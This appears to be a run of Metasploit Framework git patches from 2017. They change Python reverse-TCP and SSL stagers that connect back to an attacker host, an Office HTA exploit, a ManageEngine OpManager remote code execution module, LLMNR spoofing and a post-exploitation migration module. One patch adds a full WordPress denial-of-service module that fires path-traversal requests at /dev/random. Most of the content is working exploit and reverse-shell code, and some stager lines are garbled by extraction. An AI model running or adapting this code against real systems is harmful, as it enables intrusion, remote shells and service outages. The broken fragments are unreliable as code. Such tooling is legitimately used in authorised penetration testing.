b/data/templates/scripts/to_powershell.hta.template index 87083d9205..832f41d40d 100644 --- a/data/templates/scripts/to_powershell.hta.template +++ b/data/templates/scripts/to_powershell.hta.template @@ -1,8 +1,11 @@ From bd2379784ee23c9a0e1e5402cf9e4f23a6fef906 Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Fri, 21 Apr 2017 23:41:11 +0530 Subject: [PATCH 022/686] Improved error handling for the python reverse_tcp payload Handling all kinds of errors Removing 'e' Updating payload cached sizes Updating payload cached sizes 2.0 Adding option to set retry time --- lib/msf/core/payload/python/reverse_tcp.rb | 25 +++++++++++++------ .../payloads/stagers/python/reverse_tcp.rb | 2 +- .../stagers/python/reverse_tcp_uuid.rb | 2 +- 3 files changed, 19 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index 2f9f79877c..1b5db5be7c 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -23,7 +23,8 @@ module Payload::Python::ReverseTcp conf = { port: datastore['LPORT'], host: datastore['LHOST'], - retry_count: datastore['ReverseConnectRetries'], + retry_count: datastore['StagerRetryCount'], + retry_wait: datastore['StagerRetryWait'], } generate_reverse_tcp(conf) @@ -44,14 +45,22 @@ module Payload::Python::ReverseTcp def generate_reverse_tcp(opts={}) # Set up the socket cmd = "import socket,struct\n" - cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" + cmd << "import time\n" + cmd << "def connect():\n" + cmd << "\ttry:\n" + cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n" cmd << py_send_uuid if include_send_uuid - cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" - cmd << "d=s.recv(l)\n" - cmd << "while len(d)I',s.recv(4))[0]\n" + cmd << "\t\td=s.recv(l)\n" + cmd << "\t\twhile len(d) Date: Wed, 26 Apr 2017 11:01:59 +0800 Subject: [PATCH 023/686] split PSModulePath in multi strings with ';' MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1、allows the HTA window to be invisible --- data/templates/scripts/to_powershell.hta.template | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/data/templates/scripts/to_powershell.hta.template b/data/templates/scripts/to_powershell.hta.template index 87083d9205..fe27e4cc6a 100644 --- a/data/templates/scripts/to_powershell.hta.template +++ b/data/templates/scripts/to_powershell.hta.template @@ -1,8 +1,11 @@ From 56685bbfaa1cfa57468fb62a64eec7eaf8f14177 Mon Sep 17 00:00:00 2001 From: anhilo Date: Wed, 26 Apr 2017 11:05:21 +0800 Subject: [PATCH 024/686] Update office_word_hta.rb --- modules/exploits/windows/fileformat/office_word_hta.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/office_word_hta.rb b/modules/exploits/windows/fileformat/office_word_hta.rb index 479afd2f86..f4bd3d2dc5 100644 --- a/modules/exploits/windows/fileformat/office_word_hta.rb +++ b/modules/exploits/windows/fileformat/office_word_hta.rb @@ -147,7 +147,7 @@ class MetasploitModule < Msf::Exploit::Remote ) # This allows the HTA window to be invisible - data.sub!(/\n/, "\nwindow.moveTo -4000, -4000\n") + #data.sub!(/\n/, "\nwindow.moveTo -4000, -4000\n") send_response(cli, data, 'Content-Type' => 'application/hta') end From cd73bd137a14b5ff5e646aa15ad0436054a7e00b Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Thu, 27 Apr 2017 11:50:13 +0530 Subject: [PATCH 025/686] Making use of while loop and solving StagerRetryWait issue --- lib/msf/core/payload/python/reverse_tcp.rb | 40 +++++++++++-------- .../payloads/stagers/python/reverse_tcp.rb | 2 +- .../stagers/python/reverse_tcp_uuid.rb | 2 +- 3 files changed, 25 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index 1b5db5be7c..29421851ce 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -44,24 +44,30 @@ module Payload::Python::ReverseTcp def generate_reverse_tcp(opts={}) # Set up the socket - cmd = "import socket,struct\n" - cmd << "import time\n" - cmd << "def connect():\n" - cmd << "\ttry:\n" - cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n" + cmd = "import socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n" + if datastore['StagerRetryWait'].blank? # do not retry at all (old style) + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" + else + cmd << "while 1:\n" + cmd << "\ttry:\n" + cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n" + cmd << "\t\tbreak\n" + cmd << "\texcept:\n" + if datastore['StagerRetryWait'].to_i <= 0 + cmd << "\t\tpass\n" # retry immediately + else + cmd << "\t\ttime.sleep(#{datastore['StagerRetryWait'].to_i})\n" # retry after waiting + end + end cmd << py_send_uuid if include_send_uuid - cmd << "\t\tl=struct.unpack('>I',s.recv(4))[0]\n" - cmd << "\t\td=s.recv(l)\n" - cmd << "\t\twhile len(d)I',s.recv(4))[0]\n" + cmd << "d=s.recv(l)\n" + cmd << "while len(d) Date: Thu, 27 Apr 2017 13:19:44 +0100 Subject: [PATCH 026/686] Updated with Egypt's suggestion, also changed the target name to include other versions --- .../windows/http/manage_engine_opmanager_rce.rb | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb index c76452cfbb..ff27a97566 100644 --- a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb +++ b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_JAVA, 'Targets' => [ - ['ManageEngine OpManager v11.6', {}] + ['ManageEngine OpManager <= v11.6', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Sep 14 2015', @@ -121,14 +121,8 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => redirect, 'method' => 'GET' }) - if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/ - version = $1 - else - fail_with(Failure::Unknown, "#{peer} - Could not gather the version in use") - end - if res && res.code == 200 && ((version == 11.6 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/) || (version == 11.0 && res.body =~ /window.apiKey = "([a-z0-9]+)"/)) - # the line above checks for the version, as for version 11.0 the call for the api key value is different but the rest of the exploit works the same. + if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9])"/ api_key = $1 print_status("Retrieved API key [ #{api_key} ]") else From 52ec44851163585cc86afd7c5ed5567b7623276c Mon Sep 17 00:00:00 2001 From: reanar Date: Sun, 30 Apr 2017 15:03:48 +0200 Subject: [PATCH 027/686] Add WordPress Directory Traversal DoS Module --- .../http/wordpress_directory_traversal_dos.rb | 162 ++++++++++++++++++ 1 file changed, 162 insertions(+) create mode 100644 modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb diff --git a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb new file mode 100644 index 0000000000..ec42291087 --- /dev/null +++ b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Traversal Directory DoS', + 'Description' => %q{Directory traversal vulnerability in the wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in WordPress 4.5.3 allows remote authenticated users to cause a denial of service or read certain text files via a .. (dot dot) in the plugin parameter to wp-admin/admin-ajax.php, as demonstrated by /dev/random read operations that deplete the entropy pool.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Yorick Koster', # Vulnerability disclosure + 'CryptisStudents' # Metasploit module + ], + 'References' => + [ + ['CVE', '2016-6897'], + ['EDB', '40288'], + ['OVEID', 'OVE-20160712-0036'], + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2016-6896'] + ], + )) + + register_options( + [ + OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]), + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]), + OptString.new('USERNAME', [true, 'The username to send the requests with', '']), + OptString.new('PASSWORD', [true, 'The password to send the requests with', '']) + ], self.class) + end + + def rlimit + datastore['RLIMIT'] + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def thread_count + datastore['THREADS'] + end + + def timeout + datastore['TIMEOUT'] + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user] + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def user_exists(user) + exists = wordpress_user_exists?(user) + if exists + print_good("Username \"#{username}\" is valid") + report_cred( + ip: rhost, + port: rport, + user: user, + service_name: (ssl ? 'https' : 'http'), + proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}" + ) + + return true + else + print_error("\"#{user}\" is not a valid username") + return false + end + end + + def run + if wordpress_and_online? + print_status("Checking if user \"#{username}\" exists...") + unless user_exists(username) + print_error('Aborting operation - a valid username must be specified') + return + end + + starting_thread = 1 + + cookie = wordpress_login(username, password) + if cookie.nil? + print_error('Aborting operation - failed to authenticate') + return + end + + while starting_thread < rlimit do + ubound = [rlimit - (starting_thread - 1), thread_count].min + print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") + + threads = [] + 1.upto(ubound) do |i| + threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i| + begin + # shell code + res = send_request_cgi( opts = { + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'), + 'vars_post' => { + 'action' => 'update-plugin', + 'plugin' => '../../../../../../../../../../dev/random' + }, + 'cookie' => cookie + }, timeout = 0.2) + rescue => e + print_error("Timed out during request #{(starting_thread - 1) + i}") + end + end + end + + threads.each(&:join) + + print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}") + starting_thread += ubound + end + + if wordpress_and_online? + print_error("FAILED: #{target_uri} appears to still be online") + else + print_good("SUCCESS: #{target_uri} appears to be down") + end + + else + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress") + end + end +end From 3f348150c6807c99255440f42124a58d75c58fc2 Mon Sep 17 00:00:00 2001 From: reanar Date: Sun, 30 Apr 2017 16:38:39 +0200 Subject: [PATCH 028/686] Modification of description --- .../auxiliary/dos/http/wordpress_directory_traversal_dos.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb index ec42291087..951d08faa2 100644 --- a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary super(update_info( info, 'Name' => 'WordPress Traversal Directory DoS', - 'Description' => %q{Directory traversal vulnerability in the wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in WordPress 4.5.3 allows remote authenticated users to cause a denial of service or read certain text files via a .. (dot dot) in the plugin parameter to wp-admin/admin-ajax.php, as demonstrated by /dev/random read operations that deplete the entropy pool.}, + 'Description' => %q{Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in WordPress before 4.6 allows remote attackers to hijack the authentication of subscribers for /dev/random read operations by leveraging a late call to the check_ajax_referer function, a related issue to CVE-2016-6896.}, 'License' => MSF_LICENSE, 'Author' => [ @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary ['CVE', '2016-6897'], ['EDB', '40288'], ['OVEID', 'OVE-20160712-0036'], - ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2016-6896'] + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2016-6897'] ], )) From 0b62a6478a1f98dd89940ed0a96a71fdf7aac3ef Mon Sep 17 00:00:00 2001 From: reanar Date: Sun, 30 Apr 2017 17:05:11 +0200 Subject: [PATCH 029/686] Modification for Travis (remove require msf/core, and self.class in register) --- .../auxiliary/dos/http/wordpress_directory_traversal_dos.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb index 951d08faa2..78f22fb686 100644 --- a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Dos @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]), OptString.new('USERNAME', [true, 'The username to send the requests with', '']), OptString.new('PASSWORD', [true, 'The password to send the requests with', '']) - ], self.class) + ]) end def rlimit From 012081eed2c6b859fb515eb719006811df5a30c7 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Mon, 1 May 2017 17:28:56 -0400 Subject: [PATCH 030/686] Added support for ANY queries. Silently ignore unsupported queries instead of spamming stdout. --- .../auxiliary/spoof/llmnr/llmnr_response.rb | 21 ++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 136f0963cf..304c784987 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -98,8 +98,27 @@ attr_accessor :sock, :thread :type => ::Net::DNS::AAAA, :address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s ) + when ::Net::DNS::ANY + # For ANY queries, respond with both an A record as well as an AAAA. + dns_pkt.answer << ::Net::DNS::RR::A.new( + :name => name, + :ttl => datastore['TTL'], + :cls => ::Net::DNS::IN, + :type => ::Net::DNS::A, + :address => spoof.to_s + ) + dns_pkt.answer << ::Net::DNS::RR::AAAA.new( + :name => name, + :ttl => datastore['TTL'], + :cls => ::Net::DNS::IN, + :type => ::Net::DNS::AAAA, + :address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s + ) + when ::Net::DNS::PTR + # Sometimes PTR queries are received. We will silently ignore them. + next else - print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type, this shouldn't happen. Skipping") + print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type (#{question.qType.to_i}), this shouldn't happen. Skipping") next end end From cf74cb81a731bfa098dfbf83b5051885d84b7d47 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Wed, 3 May 2017 09:02:05 -0400 Subject: [PATCH 031/686] Removed unnecessary 'msf/core' include. --- modules/auxiliary/spoof/llmnr/llmnr_response.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 304c784987..74fd90ac66 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'socket' require 'ipaddr' require 'net/dns' From 73be4f1c2e8bc265c6db9594010e1d786fda2e31 Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Thu, 4 May 2017 14:51:40 +0530 Subject: [PATCH 032/686] Adding StagerRetryWait option in reverse_tcp_ssl --- .../core/payload/python/reverse_tcp_ssl.rb | 26 +++++++++++++++---- 1 file changed, 21 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/python/reverse_tcp_ssl.rb b/lib/msf/core/payload/python/reverse_tcp_ssl.rb index e16eaf003a..cc11aaf135 100644 --- a/lib/msf/core/payload/python/reverse_tcp_ssl.rb +++ b/lib/msf/core/payload/python/reverse_tcp_ssl.rb @@ -22,7 +22,8 @@ module Payload::Python::ReverseTcpSsl def generate conf = { port: datastore['LPORT'], - host: datastore['LHOST'] + host: datastore['LHOST'], + retry_wait: datastore['StagerRetryWait'] } generate_reverse_tcp_ssl(conf) @@ -42,10 +43,25 @@ module Payload::Python::ReverseTcpSsl def generate_reverse_tcp_ssl(opts={}) # Set up the socket - cmd = "import ssl,socket,struct\n" - cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 - cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" - cmd << "s=ssl.wrap_socket(so)\n" + cmd = "import ssl,socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n" + if datastore['StagerRetryWait'].blank? # do not retry at all (old style) + cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 + cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" + cmd << "s=ssl.wrap_socket(so)\n" + else + cmd << "while 1:\n" + cmd << "\ttry:\n" + cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2 + cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n" + cmd << "\t\ts=ssl.wrap_socket(so)\n" + cmd << "\t\tbreak\n" + cmd << "\texcept:\n" + if datastore['StagerRetryWait'].to_i <= 0 + cmd << "\t\tpass\n" # retry immediately + else + cmd << "\t\ttime.sleep(#{datastore['StagerRetryWait'].to_i})\n" # retry after waiting + end + end cmd << py_send_uuid if include_send_uuid cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" cmd << "d=s.recv(l)\n" From 3a1ed19a42297c2ebaa7fdc899c4d02f84d0aef9 Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Sat, 13 May 2017 17:49:53 +0530 Subject: [PATCH 033/686] Making use of StagerRetryConnect --- lib/msf/core/payload/python/reverse_tcp.rb | 21 ++++++++++++++----- .../payloads/stagers/python/reverse_tcp.rb | 2 +- .../stagers/python/reverse_tcp_uuid.rb | 2 +- 3 files changed, 18 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index 29421851ce..cb2a8a6624 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -16,6 +16,14 @@ module Payload::Python::ReverseTcp include Msf::Payload::Python include Msf::Payload::Python::SendUUID + def initialize(*args) + super + register_advanced_options([ + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 1]), + OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']) + ], self.class) + end + # # Generate the first stage # @@ -44,21 +52,24 @@ module Payload::Python::ReverseTcp def generate_reverse_tcp(opts={}) # Set up the socket - cmd = "import socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n" - if datastore['StagerRetryWait'].blank? # do not retry at all (old style) + cmd = "import socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n" + cmd << "counter = 0\n" + if opts[:retry_wait].blank? # do not retry at all (old style) cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" else - cmd << "while 1:\n" + cmd << "while counter<#{opts[:retry_count].to_i}:\n" cmd << "\ttry:\n" cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n" cmd << "\t\tbreak\n" cmd << "\texcept:\n" - if datastore['StagerRetryWait'].to_i <= 0 + if opts[:retry_wait].to_i <= 0 + cmd << "\t\tcounter=counter+1\n" cmd << "\t\tpass\n" # retry immediately else - cmd << "\t\ttime.sleep(#{datastore['StagerRetryWait'].to_i})\n" # retry after waiting + cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting + cmd << "\t\tcounter=counter+1\n" end end cmd << py_send_uuid if include_send_uuid diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 367b3c8693..d16cb873b1 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 362 + CachedSize = 378 include Msf::Payload::Stager include Msf::Payload::Python::ReverseTcp diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb index 55d36cde14..c7f9fe064c 100644 --- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 466 + CachedSize = 482 include Msf::Payload::Stager include Msf::Payload::Python From 0bd11062e405b296564de2136b0f9e5363b0d476 Mon Sep 17 00:00:00 2001 From: Carter Date: Sat, 13 May 2017 13:28:28 -0400 Subject: [PATCH 034/686] Ass SYSTEM check to archmigrate --- modules/post/windows/manage/archmigrate.rb | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/archmigrate.rb b/modules/post/windows/manage/archmigrate.rb index c60a82a789..fd7e684bae 100644 --- a/modules/post/windows/manage/archmigrate.rb +++ b/modules/post/windows/manage/archmigrate.rb @@ -2,6 +2,7 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::File include Msf::Post::Common + include Msf::Post::Windows::Priv def initialize(info = {}) super(update_info( @@ -21,7 +22,8 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']), - OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]) + OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]), + OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have system priveleges', true]) ], self.class ) @@ -48,7 +50,7 @@ class MetasploitModule < Msf::Post return windir end - def run + def do_migrate if check_32_on_64 print_status('The meterpreter is not the same architecture as the OS! Upgrading!') newproc = datastore['EXE'] @@ -86,4 +88,20 @@ class MetasploitModule < Msf::Post print_good('The meterpreter is the same architecture as the OS!') end end + + + + def run + if datastore['IGNORE_SYSTEM'] + do_migrate + elsif !datastore['IGNORE_SYSTEM'] && is_system? + print_error('You are running as SYSTEM! Aborting migration.') + elsif datastore['IGNORE_SYSTEM'] && is_system? + print_error('You are running as SYSTEM! You will lose your priveleges!') + do_migrate + elsif !datastore['IGNORE_SYSTEM'] && !is_system? + print_status('You\'re not running as SYSTEM. Moving on...') + do_migrate + end + end end From 78b0fb00da353a584ab456fa1a2fef50126ddf33 Mon Sep 17 00:00:00 2001 From: Carter Date: Sat, 13 May 2017 13:35:13 -0400 Subject: [PATCH 035/686] I committed to the wrong branch --- modules/post/windows/manage/archmigrate.rb | 22 ++-------------------- 1 file changed, 2 insertions(+), 20 deletions(-) diff --git a/modules/post/windows/manage/archmigrate.rb b/modules/post/windows/manage/archmigrate.rb index fd7e684bae..c60a82a789 100644 --- a/modules/post/windows/manage/archmigrate.rb +++ b/modules/post/windows/manage/archmigrate.rb @@ -2,7 +2,6 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::File include Msf::Post::Common - include Msf::Post::Windows::Priv def initialize(info = {}) super(update_info( @@ -22,8 +21,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']), - OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]), - OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have system priveleges', true]) + OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]) ], self.class ) @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Post return windir end - def do_migrate + def run if check_32_on_64 print_status('The meterpreter is not the same architecture as the OS! Upgrading!') newproc = datastore['EXE'] @@ -88,20 +86,4 @@ class MetasploitModule < Msf::Post print_good('The meterpreter is the same architecture as the OS!') end end - - - - def run - if datastore['IGNORE_SYSTEM'] - do_migrate - elsif !datastore['IGNORE_SYSTEM'] && is_system? - print_error('You are running as SYSTEM! Aborting migration.') - elsif datastore['IGNORE_SYSTEM'] && is_system? - print_error('You are running as SYSTEM! You will lose your priveleges!') - do_migrate - elsif !datastore['IGNORE_SYSTEM'] && !is_system? - print_status('You\'re not running as SYSTEM. Moving on...') - do_migrate - end - end end From ce7b967a13da2b34e8ed104682f501ad4d1f3c46 Mon Sep 17 00:00:00 2001 From: Carter Date: Sat, 13 May 2017 13:35:48 -0400 Subject: [PATCH 036/686] Update archmigrate.rb --- modules/post/windows/manage/archmigrate.rb | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/archmigrate.rb b/modules/post/windows/manage/archmigrate.rb index c60a82a789..fd7e684bae 100644 --- a/modules/post/windows/manage/archmigrate.rb +++ b/modules/post/windows/manage/archmigrate.rb @@ -2,6 +2,7 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::File include Msf::Post::Common + include Msf::Post::Windows::Priv def initialize(info = {}) super(update_info( @@ -21,7 +22,8 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']), - OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]) + OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]), + OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have system priveleges', true]) ], self.class ) @@ -48,7 +50,7 @@ class MetasploitModule < Msf::Post return windir end - def run + def do_migrate if check_32_on_64 print_status('The meterpreter is not the same architecture as the OS! Upgrading!') newproc = datastore['EXE'] @@ -86,4 +88,20 @@ class MetasploitModule < Msf::Post print_good('The meterpreter is the same architecture as the OS!') end end + + + + def run + if datastore['IGNORE_SYSTEM'] + do_migrate + elsif !datastore['IGNORE_SYSTEM'] && is_system? + print_error('You are running as SYSTEM! Aborting migration.') + elsif datastore['IGNORE_SYSTEM'] && is_system? + print_error('You are running as SYSTEM! You will lose your priveleges!') + do_migrate + elsif !datastore['IGNORE_SYSTEM'] && !is_system? + print_status('You\'re not running as SYSTEM. Moving on...') + do_migrate + end + end end From 9b7049610adf7a32e21ee5238378b54f8311e8c1 Mon Sep 17 00:00:00 2001 From: Carter Date: Sat, 13 May 2017 19:04:30 -0400 Subject: [PATCH 037/686] Create macho2app.rb --- tools/exploit/macho2app.rb | 105 +++++++++++++++++++++++++++++++++++++ 1 file changed, 105 insertions(+) create mode 100644 tools/exploit/macho2app.rb diff --git a/tools/exploit/macho2app.rb b/tools/exploit/macho2app.rb new file mode 100644 index 0000000000..f8a4016c10 --- /dev/null +++ b/tools/exploit/macho2app.rb @@ -0,0 +1,105 @@ +#!/usr/bin/env ruby +# +# $Id$ +# +# This script converts a macho file to a macOS .app +# +# $Revision$ +# + +require 'optparse' + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) +require 'msfenv' + +$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + +class MachoToApp + + macho_path = nil + app_name = nil + + def get_opts + + ARGV.options do |opt| + opt.separator '' + + opt.on('-f', String, 'The macho file produced by msfvenom') do |x| + macho_path = x + end + + opt.on('-o', String, 'The output app name (without .app)') do |x| + app_name = x + end + + opt.on_tail('-h', '--help', 'Show this message') do + $stderr.puts opt + exit + end + + opt.parse! + + end + end + + def initialize + @args = get_opts + rescue OptionParser::MissingArgument => e + $stderr.puts e.message + exit + end + + def main + if @args.empty? + fail OptionParser::MissingArgument, 'No options set, try 